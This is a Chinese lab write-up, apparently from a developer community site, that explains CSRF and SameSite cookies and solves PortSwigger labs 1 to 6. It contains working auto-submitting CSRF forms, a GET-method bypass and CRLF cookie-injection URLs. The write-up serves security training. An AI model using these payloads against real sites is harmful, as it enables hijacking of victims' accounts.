备案控制台
开发者社区 开发与运维 文章 正文

【BP靶场portswigger-客户端12】跨站点请求伪造CSRF-12个实验（全）（上）

2023-02-12 594
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
本文涉及的产品
.cn 域名，1个 12个月
简介： 【BP靶场portswigger-客户端12】跨站点请求伪造CSRF-12个实验（全）（上）

一、跨站点请求伪造（CSRF）


1、简述：


跨站点请求伪造（CSRF）是一个Web安全漏洞，使得攻击者能够诱使用户执行他们不打算执行的操作。它允许攻击者部分规避同源策略，该策略旨在防止不同的网站相互干扰


2、影响：


在成功的CSRF攻击中，攻击者会让受害者用户无意中执行某个操作。如可能是更改帐户上的电子邮件地址、更改密码或进行资金转账。根据操作的性质，攻击者可能能够完全控制用户帐户。如果受损用户在应用程序中具有特权角色，则攻击者可能能够完全控制应用程序的所有数据和功能。


3、原理：


1、CSRF攻击必须具备三个关键条件：


1、一个操作行动。应用程序中存在攻击者有理由引发的操作。这可能是一个特权操作（如修改其他用户的权限），也可能是对用户特定数据的任何操作（如更改用户自己的密码）。
    2、基于Cookie的会话处理。执行操作涉及发出一个或多个HTTP请求，应用程序仅依赖会话cookie来识别发出请求的用户。没有其他机制可用于跟踪会话或验证用户请求。
    3、没有不可预测的请求参数。执行操作的请求不包含任何攻击者无法确定或猜测其值的参数。例如，当使用户更改其密码时，如果攻击者需要知道现有密码的值，则函数不容易受到攻击。


2、示例

1、某个应用程序包含允许用户更改其帐户上的电子邮件地址的功能。当用户执行此操作时，会发出如下所示的HTTP请求：
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=wiener@normal-user.com
2、这符合CSRF要求的条件：
攻击者会对更改用户帐户上的电子邮件地址的操作感兴趣。在此操作之后，攻击者通常能够触发密码重置并完全控制用户帐户。
应用程序使用会话cookie来标识发出请求的用户。没有其他令牌或机制来跟踪用户会话。
攻击者可以轻松确定执行操作所需的请求参数值。
3、具备这些条件后，攻击者可以构建包含以下HTML的网页：
<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
4、 如果受影响用户访问攻击者的网页，则会发生以下情况：
攻击者的页面将触发对易受攻击网站的HTTP请求。
如果用户登录到易受攻击的网站，其浏览器将自动在请求中包含其会话Cookie（假设未使用SameSite Cookie）。
易受攻击的网站将以正常方式处理请求，将其视为受害用户发出的请求，并更改其电子邮件地址


虽然CSRF通常是针对基于Cookie的会话处理进行描述的，但它也出现在应用程序自动向请求添加一些用户凭据的其他上下文中，例如HTTP基本身份验证和基于证书的身份验证


4、构造CSRF攻击


1、手动创建CSRF利用所需的HTML可能很麻烦，特别是在所需请求包含大量参数或请求中存在其他异常的情况下。构建CSRF利用漏洞攻击的最简单方法是使用 CSRF PoC发生器 内置于BP专业版：

1、在Burp Suite Professional中的任意位置选择您想要测试或利用的请求。
    2、从右键单击上下文菜单中，选择参与度工具/生成CSRF PoC。
    3、Burp Suite将生成一些HTML来触发选定的请求（不包括cookie，它将由受害者的浏览器自动添加）。
    4、可以调整CSRF PoC生成器中的各种选项来微调攻击的各个方面。在一些不寻常的情况下，您可能需要这样做，以处理请求的古怪特性。
    5、将生成的HTML复制到网页中，在已登录到易受攻击网站的浏览器中查看该网页，并测试是否成功发出预期请求以及是否发生所需操作。


示例：

3fc284a8e7c8472095e8439caca20801.png


29de2689fde54acdbbdec576950b3dd9.png


2、涉及实验：

实验1：无防御的CSRF漏洞


实验1：无防御的CSRF漏洞


本实验的电子邮件更改功能易受CSRF攻击。


完成实验：编制HTML，使用CSRF攻击更改查看者的电子邮件地址并将其上载到漏洞利用服务器


已有账号：wiener:peter


part1:


登录帐户，提交“更新电子邮件”表单


065edef4ab004ea6b633415dd0effdc5.png


HTTP代理历史记录中查找生成的请求


12c177ac116e4b8d86efee844ebd7844.png


右键单击请求并选择参与度工具/生成CSRF PoC。启用该选项以包括自动提交脚本，然后单击“重新生成”

2f989396e1494affa860b24dba3f794b.png


9431f70ea4054f64886ce317a6e16b7f.png

并复制HTML


part2:


转到漏洞利用服务器，将漏洞利用HTML粘贴到“正文”部分，然后单击store“存储”。

验证该漏洞是否有效(view exploit“查看漏洞”），最后“交付给受害者”


5f39f5dbe1264e9f82978f38223408c1.png



5573057041f2499191124a3357169b92.png

5、利用CSRF


1、跨站点请求伪造攻击的传递机制本质上与反射XSS相同。通常攻击者会将恶意HTML放到他们控制的网站上，然后诱使受害者访问该网站。可以通过经由电子邮件或社交媒体消息向用户馈送到网站的链接来完成。如果攻击是针对某个流行网站（如用户评论中），可能只是等待用户访问该网站。


2、一些简单的CSRF利用漏洞攻击使用GET方法，并且可以完全独立，在易受攻击的网站上只有一个URL。在这种情况下，攻击者可能不需要使用外部站点，就可以直接向受害者提供易受攻击的域中的恶意URL。


在上例中，如果可以使用GET方法执行更改电子邮件地址的请求，则自包含攻击如下所示：

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">


3、XSS和CSRF区别


跨站点脚本（XSS）使得攻击者能够在受害用户的浏览器中执行任意JavaScript。
跨站点请求伪造（CSRF）使攻击者能够诱使受害用户执行他们不希望执行的操作。
XSS漏洞的后果通常比CSRF漏洞更严重：
    1、CSRF通常只适用于用户能够执行的操作的子集。许多应用程序通常实现CSRF防御，但忽略了一个或两个暴露的操作。相反，成功的XSS漏洞利用通常可诱使用户执行该用户能够执行的任何动作，而不管漏洞产生于何种功能。
    2、CSRF可以描述为“单向”漏洞，因为虽然攻击者可以诱使受害者发出HTTP请求，但他们无法检索该请求的响应。相反，XSS是“双向的”，因为攻击者注入的脚本可以发出任意请求，读取响应，并将数据泄漏到攻击者选择的外部域


4、CSRF令牌


一些XSS攻击确实可以通过有效地使用CSRF令牌来防止。一个简单的反射XSS漏洞，可以轻易地利用它：

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>

示例：


1、假设易受攻击的函数包含CSRF令牌：
https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&message=<script>/*+Bad+stuff+here...+*/</script>
2、假设服务器正确地验证了CSRF令牌，并拒绝了没有有效令牌的请求，那么该令牌确实可以防止利用XSS漏洞。线索就在名字里：“跨站脚本”至少在其反射形式中涉及跨站请求。通过防止攻击者伪造跨站点请求，应用程序防止了对XSS漏洞的轻微攻击。
3、重要的警告：
    1、如果反射的XSS漏洞存在于站点上不受CSRF令牌保护的函数中的任何其他地方，则可以通过正常方式利用该XSS。
    2、如果可利用的XSS漏洞存在于站点上的任何位置，则可以利用该漏洞使受害用户执行操作，即使这些操作本身受到CSRF令牌的保护。在这种情况下，攻击者的脚本可以请求相关页获取有效的CSRF令牌，然后使用该令牌执行受保护的操作。
    3、CSRF令牌无法防止 存储XSS脆弱性。如果受CSRF标记保护的页也是 存储XSS漏洞，则可以通过通常的方式利用该XSS漏洞，并且XSS有效负载将在用户访问该页面时执行。


6、针对CSRF的常见防御措施


1、成功发现和利用CSRF漏洞通常需要绕过目标网站、受害者的浏览器或两者部署的反CSRF措施。会遇到的最常见的防御措施如下：


1、CSRF令牌-CSRF令牌是由服务器端应用程序生成并与客户端共享的唯一、秘密且不可预测的值。尝试执行敏感操作（如提交表单）时，客户端必须在请求中包含正确的CSRF令牌。这使得攻击者很难代表受害者构造有效的请求。
2、SameSite cookies- SameSite是一种浏览器安全机制，用于确定何时将网站的cookies包含在源自其他网站的请求中。由于执行敏感操作的请求通常需要经过身份验证的会话Cookie，因此适当的SameSite限制可以防止攻击者跨站点触发这些操作。
3、基于Referer的验证--一些应用程序利用HTTP Referer头来尝试防御CSRF攻击，通常是通过验证请求是否来自应用程序自己的域。这通常不如CSRF令牌验证有效。


二、绕过CSRF令牌验证


1、CSRF令牌


1、CSRF令牌是由服务器端应用程序生成并与客户端共享的唯一、秘密且不可预测的值。发出执行敏感操作（如提交表单）的请求时，客户端必须包含正确的CSRF令牌。否则，服务器将拒绝执行请求的操作。


1、与客户端共享CSRF令牌的常见方法是将它们作为隐藏参数包含在HTML表单中，例如：
<form name="change-email-form" action="/my-account/change-email" method="POST">
    <label>Email</label>
    <input required type="email" name="email" value="example@normal-website.com">
    <input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u">
    <button class='button' type='submit'> Update email </button>
</form>
2、提交此表单将导致以下请求：
POST /my-account/change-email HTTP/1.1
Host: normal-website.com
Content-Length: 70
Content-Type: application/x-www-form-urlencoded
csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&email=example@normal-website.com


如果正确实现，CSRF令牌会使攻击者难以代表受害者构造有效请求，从而有助于防御CSRF攻击。由于攻击者无法预测CSRF令牌的正确值，因此无法将其包含在恶意请求中。


2、CSRF令牌不必作为隐藏参数在后请求。如一些应用程序将CSRF令牌放在HTTP头中。令牌的传输方式对整个机制的安全性具有重大影响。


3、CSRF令牌验证中的常见缺陷


（1）CSRF令牌的验证取决于请求方法


（2）


2、CSRF令牌的验证取决于请求方法


1、当请求使用POST方法时，一些应用程序可以正确地验证令牌，但当使用GET方法时，则跳过验证。


在这种情况下，攻击者可以切换到GET方法来绕过验证并发起CSRF攻击：
GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm


2、涉及实验：


实验2：令牌验证取决于请求方法的CSRF


实验2：令牌验证取决于请求方法的CSRF


本实验的电子邮件更改功能易受CSRF攻击。尝试阻止CSRF攻击，但仅对某些类型的请求应用防御。


解决实验：使用漏洞攻击服务器托管一个HTML页面，该页面使用CSRF攻击来更改查看者的电子邮件地址


已有账号：wiener:peter


part1:


登录帐户。提交"更新电子邮件"表单，并在代理历史记录中查找生成的请求

b464ba221b634b788aa7faa396110f38.png


a5864b6e147c4024a175af42149d2f2f.png



将请求发送到Burp Repeater，并观察如果您更改csrf参数的值，则请求被拒绝。

使用上下文菜单上的"Changerequestmethod"将其转换为GET请求，并观察CSRF令牌是否不再经过验证


530b259877d241888752abb88ff01010.png


右键单击请求，然后从上下文菜单中选择Engagement tools/Generate CSRF PoC


a89e111057d34cd6a51a807f45dbba31.png


启用该选项以包括自动提交脚本，然后单击"重新生成"，再复制HTML


ada6610ec9424105999c06d0d53f994d.png


part2:


转到漏洞利用服务器，将漏洞利用HTML粘贴到"正文"部分，然后单击"存储"。

要验证该漏洞是否有效，请单击"View exploit"（查看漏洞），单击"交付给受害者"


73fcfaf552fd45369432cec81a5f7064.png


完成实验


d730cc6d1f864be5a3f2362fa3ecf267.png


3、CSRF令牌的验证取决于令牌是否存在


1、某些应用程序在令牌存在时正确验证令牌，但如果忽略令牌，则跳过验证。


在这种情况下，攻击者可以删除包含令牌的整个参数（而不仅仅是其值）以绕过验证并发起CSRF攻击：
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
email=pwned@evil-user.net


2、涉及实验：


实验3：CSRF，其中令牌验证取决于令牌是否存在


实验3：CSRF，其中令牌验证取决于令牌是否存在


本实验的电子邮件更改功能易受CSRF攻击。


解决实验：使用漏洞攻击服务器托管一个HTML页面，该页面使用CSRF攻击来更改查看者的电子邮件地址


已有账号：wiener:peter


part1:


登录帐户。提交"更新电子邮件"表单，并在代理历史记录中查找生成的请求


07f0cb34fee347529b6150bd302cb3cb.png


571beffa0e6a41a796a003d4fc3f13e1.png

将请求发送到Burp Repeater，更改csrf参数的值，则请求被拒绝。

完全删除csrf参数请求被接受


29420e9572ac49fd8c8cb3b4e688af52.png


右键单击请求，然后从上下文菜单中选择Engagement tools/Generate CSRF PoC


启用该选项以包括自动提交脚本，然后单击"重新生成"，再复制HTML


1fcb660e447b4a45afeef1f35bd74ec6.png


<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a70004303bfec8dc05f4f8d007a00e7.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="333333&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

09b0f9a1573f43a8a7fbf2f7429118ca.pngpart2:


转到漏洞利用服务器，将漏洞利用HTML粘贴到"正文"部分，然后单击"存储"。

要验证该漏洞是否有效，请单击"View exploit"（查看漏洞），单击"交付给受害者"


09b0f9a1573f43a8a7fbf2f7429118ca.png


完成实验


12d3218256a34a0f95251443205ec385.png

4、CSRF令牌未绑定到用户会话


1、某些应用程序不验证令牌是否与发出请求的用户属于同一会话。相反应用程序维护一个全局令牌池，已发出令牌并接受出现在此池中的任何令牌


2、在这种情况下，攻击者可以使用自己的帐户登录应用程序，获得有效令牌，然后将该令牌提供给CSRF攻击中的受害用户。


3、涉及实验：


实验4：令牌未绑定到用户会话的CSRF


实验4：令牌未绑定到用户会话的CSRF


1、这个实验室的电子邮件更改功能对 CSRF 来说是脆弱的。它使用令牌试图防止 CSRF 攻击，但没有集成到站点的会话处理系统中。


2、解决实验：使用开发服务器托管一个 HTML 页面，该页面使用 CSRF 攻击来改变查看者的电子邮件地址


3、已有账号：


wiener:peter


carlos:montoya


part1:


登录帐户。提交"更新电子邮件"表单，并拦截生成的请求。

记下CSRF令牌的值，然后丢弃请求


a6080f73f2324d04beb3833d45b3e9f5.png


Z4wM1sCQzcxsKeoFxdbE2fNHUkUjoq8O


打开一个私人/匿名浏览器窗口，登录到另一个帐户，并发送更新电子邮件请求到BP

如果将CSRF令牌与来自其他帐户的值交换，则请求将被接受


8eede2e606cd44baa5effeed3d9733c1.png


4c01eaa7875f469b8097d2f6bbd3f1bf.png

使用其他账号的csrf令牌更改成功


cf08b575f30c49f089c9ccaec1a2dfd5.png

part2:


创建并托管概念利用验证（CSRF令牌是一次性的，因此需要添加一个新令牌，刷新页面再次请求，就是新的了）


39ab1d9c08134afa96b116f1f2999faa.png


复制HTML

2e4e471a15f4440987c1304f677608c6.png


<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a4100cf032ba6dbc3d33da90039005e.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="111111&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="sjGB2t7bA43mWMx6JQezFiBW2BJkty1k" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>


存储漏洞，然后单击"Deliver exploit to victim"（发送给受害者）


fc8c0c28b2d643779b3687c844c7f7a0.png

完成实验

39fe35fc6f8f448d985d7d191c57737b.png



5、CSRF令牌绑定到非会话Cookie


1、在上述漏洞的变体中，某些应用程序确实将CSRF令牌绑定到Cookie，但不是绑定到用于跟踪会话的同一Cookie。


1、当应用程序使用两个不同的框架时，这很容易发生，一个用于会话处理，一个用于CSRF保护，这两个框架没有集成在一起：
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com


2、这种情况更难利用，但仍然是脆弱的。如果网站包含允许攻击者在受害者的浏览器中设置Cookie的任何行为，则攻击就有可能发生。攻击者可以使用自己的帐户登录应用程序，获取有效令牌和关联的Cookie，利用Cookie设置行为将其Cookie放入受害者的浏览器，并在CSRF攻击中将其令牌提供给受害者。


3、Cookie设置行为甚至不需要存在于与 CSRF脆弱性。如果所控制的cookie具有合适的范围，则可以潜在地利用同一总体DNS域内的任何其他应用程序来在作为目标的应用程序中设置cookie。例如，上的Cookie设置功能 staging.demo.normal-website.com 可用于放置提交给的Cookie secure.normal-website.com


4、涉及实验：


实验5：令牌绑定到非会话cookie的CSRF


实验5：令牌绑定到非会话cookie的CSRF


1、本实验的电子邮件更改功能易受CSRF攻击。使用令牌来尝试防止CSRF攻击，但没有完全集成到站点的会话处理系统中。


2、解决实验：使用漏洞攻击服务器托管一个HTML页面，该页面使用CSRF攻击来更改查看者的电子邮件地址


3、已有账号：


wiener:peter


carlos:montoya


part1:


登录帐户，提交"更新电子邮件"表单，并在HTTP代理历史记录中查找生成的请求


21ae7ff97d9842139a32da2642d1f03a.png


将请求发送到Burp Repeater，并观察更改会话cookie会将您注销，但更改csrfKey cookie只会导致CSRF令牌被拒绝。这表明csrfKey Cookie可能没有严格绑定到会话


01652309be404e5584aac8c176730c7b.png


打开一个隐私/匿名浏览器窗口，登录到另一个帐户，并发送一个新的更新电子邮件请求到BP


如果将csrfKey cookie和csrf参数从第一个帐户交换到第二个帐户，则请求将被接受

关闭BP和隐私浏览器


part2:


回到原来的浏览器，执行搜索，将结果请求发送到Burp Repeater，观察搜索词是否反映在Set-Cookie头中。由于搜索功能没有CSRF保护，可以使用它将cookie注入受害用户的浏览器。


762fa7d3eb974bfbadd4ffa81d7e6c95.png


创建一个利用此漏洞将csrfKey Cookie注入受害者浏览器的URL：


/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None
我的是：
/?search=test%0d%0aSet-Cookie:%20csrfKey=3KgZOqo3BJRX4HkGlmX9ESGModd3Ch5J%3b%20SameSite=None


将原有的csrfKey置空后，通过在search中set-cookie


e9a08374c8cd4474b9d105644d3e5be6.png


创建并托管概念利用验证，确保包含CSRF令牌。应通过电子邮件更改请求创建利用漏洞攻击


替换为以下代码来注入Cookie（需要csrfKey）
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
我的是：
<img src="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=rFry4XfZMtkztI9YU4EERewPSwACRrLT%3b%20SameSite=None" onerror="document.forms[0].submit()">


part3:


生成插入的poc


7537225ff21344efae2e9a93eb140ca9.png


此时的HTML还需要修改


将script标签中的内容换为上面的


<img src="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=3KgZOqo3BJRX4HkGlmX9ESGModd3Ch5J%3b%20SameSite=None" onerror="document.forms[0].submit()">


<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="333333&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="rFry4XfZMtkztI9YU4EERewPSwACRrLT" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
换完后：
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="333333&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="rFry4XfZMtkztI9YU4EERewPSwACRrLT" />
      <input type="submit" value="Submit request" />
    </form>
        <img src="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=3KgZOqo3BJRX4HkGlmX9ESGModd3Ch5J%3b%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>


存储利用漏洞攻击，然后单击"Deliver exploit to victim"（发给受害者）


18b43fcee4c94e0f9488e068df8c007c.png


完成实验


194baf3d11c8427b99915a4f61666561.png


6、CSRF令牌只是在Cookie中复制


1、在上述漏洞的另一个变体中，某些应用程序不维护已发出令牌的任何服务器端记录，而是在Cookie和请求参数中复制每个令牌。验证后续请求时，应用程序只需验证请求参数中提交的令牌是否与Cookie中提交的值匹配。


这有时被称为针对CSRF的“双重提交”防御，因为它易于实现，并且不需要任何服务器端状态：
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com


在这种情况下，如果网站包含任何Cookie设置功能，攻击者就可以再次执行CSRF攻击。在这里，攻击者不需要获得他们自己的有效令牌。只需发明一个令牌（可能是所需的格式，如果要检查的话），利用cookie设置行为将其cookie放置到受害者的浏览器中，并在CSRF攻击中将其令牌提供给受害者


2、涉及实验：

实验6：标记在Cookie中重复的CSRF


实验6：标记在Cookie中重复的CSRF


本实验的电子邮件更改功能易受CSRF攻击。它尝试使用不安全的"双重提交" CSRF预防技术。


完成实验：使用您的漏洞利用服务器托管一个HTML页面，该页面使用CSRF攻击来更改查看者的电子邮件地址


已有账号：wiener:peter


part1:


登录帐户。提交"更新电子邮件"表单，并在HTTP代理历史记录中查找生成的请求


ef0ab3c1e53347b28f386f512e192de2.png


将请求发送到Burp Repeater，并观察到csrf body参数的值只是通过与csrf cookie进行比较来验证


（删除任意一个以后都会报400，少参数）


29a5bbc5cd4e49ff967f32c386a66e63.png


执行搜索，将结果请求发送到Burp Repeater，并观察搜索词是否反映在Set-Cookie报头中。由于搜索功能没有CSRF保护，可以使用它将cookie注入受害用户的浏览器


4332dcd7207842e78f318850cf7d4bd3.png


创建一个URL，利用此漏洞将伪造的csrf Cookie注入受害者的浏览器：


/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None

part2:


生成poc

97fb03ce4a1d4e6981a10145a9098b4d.png


<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0abf00ef04149dfdc6fb133800e000cc.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="333333&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="fake" />
      <input type="hidden" name="" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>


按照无防御CSRF漏洞解决方案实验室中所述创建并托管概念利用验证，确保CSRF令牌设置为“假”。应通过电子邮件更改请求创建利用漏洞攻击。


删除<script>模块块，并改为以下代码来注入cookie并提交表单：


<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
我的是：
<img src="https://0abf00ef04149dfdc6fb133800e000cc.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>


更改后的为（注意2处csrf值改为一致，任意值）


<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0abf00ef04149dfdc6fb133800e000cc.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="333333&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="fake" />
      <input type="hidden" name="" value="" />
      <input type="submit" value="Submit request" />
    </form>
        <img src="https://0abf00ef04149dfdc6fb133800e000cc.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
  </body>
</html>


part3:


完成实验


存储漏洞，然后单击“Deliver exploit to victim”（发给受害者）


63a009c5e33645609f059c39c6baa616.png

完成实验


4bfe9d14ac3349c683695eea88586cce.png


三、绕过SameSite Cookie限制


1、简述：


1、SameSite是一种浏览器安全机制，用于确定何时将网站的Cookie包含在源自其他网站的请求中。SameSite Cookie限制提供了针对各种跨站点攻击的部分保护，包括CSRF、跨站点泄漏和一些CORS漏洞攻击。


2、SameSite Cookie的上下文中、网站



在SameSite Cookie限制的上下文中，站点被定义为顶级域（TLD），通常类似于.com或.net，再加上一个附加级别的域名。这通常被称为TLD+1。


在确定请求是否为同一站点时，还考虑URL方案。这意味着从 http://app.example.com 到https://app.example.com的链接被大多数浏览器视为跨站点链接。


1aed2f6d7d5b40e2be6a738016692371.png


3、站点和源之间的区别


1、站点和源之间的区别在于它们的范围;一个站点包含多个域名，而一个源只包含一个。尽管它们密切相关，但重要的是不要互换使用这两个术语，因为将两者混为一谈可能会带来严重的安全隐患。


2、如果两个URL共享完全相同的方案、域名和端口，则认为它们具有相同的来源。不过请注意，端口通常是从方案中推断出来的。


adef16a2f6604f46a16e270d61d9b260.png


3、“站点”一词的具体性要低得多，因为它只说明了方案和域名的最后一部分。至关重要的是，这意味着跨源请求仍然可以是同一站点的，但不是相反


9de9444d22fd422eb49ec0597e7823f3.png


这是一个重要的区别，因为这意味着任何允许任意JavaScript执行的漏洞都可以被滥用，以绕过属于同一站点的其他域上基于站点的防御


3、SameSite工作原理


1、在引入SameSite机制之前，浏览器在每个请求中向发出它们的域发送Cookie，即使请求是由不相关的第三方网站触发的。SameSite的工作原理是使浏览器和网站所有者能够限制哪些跨网站请求（如果有）应包括特定的Cookie。这有助于减少用户遭受CSRF攻击的风险，CSRF攻击会诱使受害者的浏览器发出请求，从而在易受攻击的网站上触发有害操作。由于这些请求通常需要与受害者的身份验证会话关联的Cookie，因此如果浏览器不包含此Cookie，攻击将失败。


2、当前所有主流浏览器都支持SameSite限制级别：严格、松弛、无


3、开发人员可以为他们设置的每个Cookie手动配置限制级别，从而使他们能够更好地控制何时使用这些Cookie。为此只需将 相同站点 中的属性 设置Cookie响应报头及其首选值：


Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict


尽管这提供了一些针对CSRF攻击的保护，但这些限制都不能保证免疫


4、如果发布Cookie的网站没有明确设置SameSite属性，Chrome会默认自动应用Lax（松弛）限制。这意味着Cookie仅在满足特定条件的跨站点请求中发送，即使开发人员从未配置此行为


1、严格
如果cookie设置为SameSite=Strict属性，浏览器将不会在任何跨站点请求中发送它。简而言之，这意味着如果请求的目标站点与浏览器地址栏中当前显示的站点不匹配，则不会包含Cookie。
建议在设置Cookie以使承载者能够修改数据或执行其他敏感操作（例如访问仅对经过身份验证的用户可用的特定页面）时使用此选项。
尽管这是最安全的选项，但在需要跨站点功能的情况下，它可能会对用户体验产生负面影响。 
2、松弛
不严格的SameSite限制意味着浏览器将在跨站点请求中发送Cookie，但前提是同时满足以下两个条件：
    请求使用GET方法。
    请求是由用户的顶级导航（如单击链接）产生的。
这意味着Cookie不包括在跨站点 后例如请求。作为 后请求通常用于执行修改数据或状态的操作（至少根据最佳实践），因此它们更有可能成为CSRF攻击的目标。
同样，Cookie也不包含在后台请求中，例如由脚本、iframe或对图像和其他资源的引用发起的请求。 
3、无
如果使用SameSite=None属性设置Cookie，则无论使用何种浏览器，都将有效地禁用SameSite限制。因此，浏览器将在所有请求中向发出此cookie的网站发送此cookie，即使是由完全无关的第三方网站触发的请求。
除Chrome外，这是主要浏览器的默认行为，如果没有 相同站点属性在设置Cookie时提供。
禁用SameSite是有正当理由的，例如，当cookie旨在从第三方上下文使用，并且不授予承载者对任何敏感数据或功能的访问权限时。跟踪cookie就是一个典型的例子。
如果遇到设置为SameSite=None或没有显式限制的cookie，则值得调查它是否有用。当Chrome首次采用“默认松弛”行为时，它的副作用是破坏了许多现有的网络功能。作为一个快速的解决方案，一些网站选择简单地禁用所有Cookie上的SameSite限制，包括可能敏感的Cookie。
使用设置Cookie时 相同站点=无 ，网站还必须包括 安全属性，该属性确保仅通过HTTPS在加密消息中发送Cookie。否则，浏览器将拒绝Cookie，并且不会设置Cookie。
Set-Cookie: trackingId=0F8tgdOhi9ynR1M9wa3ODa; SameSite=None; Secure


4、使用GET请求绕过SameSite Lax限制


1、服务器并不总是挑剔它们是否收到 获取 或 后请求到给定端点，甚至是那些期望表单提交的端点。如果还使用 松弛 的会话cookie限制，无论是显式限制还是浏览器默认设置限制，仍然可以执行 CSRF攻击 通过引出 获取从受害者的浏览器发出的请求。


只要请求涉及顶级导航，浏览器仍将包含受害者的会话cookie。以下是发起此类攻击的最简单方法之一：
<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>


即使不允许普通的GET请求，一些框架也提供了重写请求行中指定的方法的方法。


例如，Symfony支持表单中的_method参数，该参数优先于用于路由目的的普通方法：
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>


涉及实验：


实验7：通过方法覆盖绕过SameSite Lax

文章标签：
域名
JavaScript
前端开发
数据安全/隐私保护
网络协议
安全
Web App开发
存储
关键词：
请求CSRF
CSRF实验
跨站点CSRF
portswigger伪造CSRF实验
Hacker2001
目录
相关文章
啊猪是的读来过倒
|
4天前
|
前端开发 JavaScript 安全
跨域问题与Django解决方案：深入解析跨域原理、请求处理与CSRF防护
跨域问题与Django解决方案：深入解析跨域原理、请求处理与CSRF防护
啊猪是的读来过倒
9 0
香甜可口草莓蛋糕
|
2月前
|
安全 算法 数据安全/隐私保护
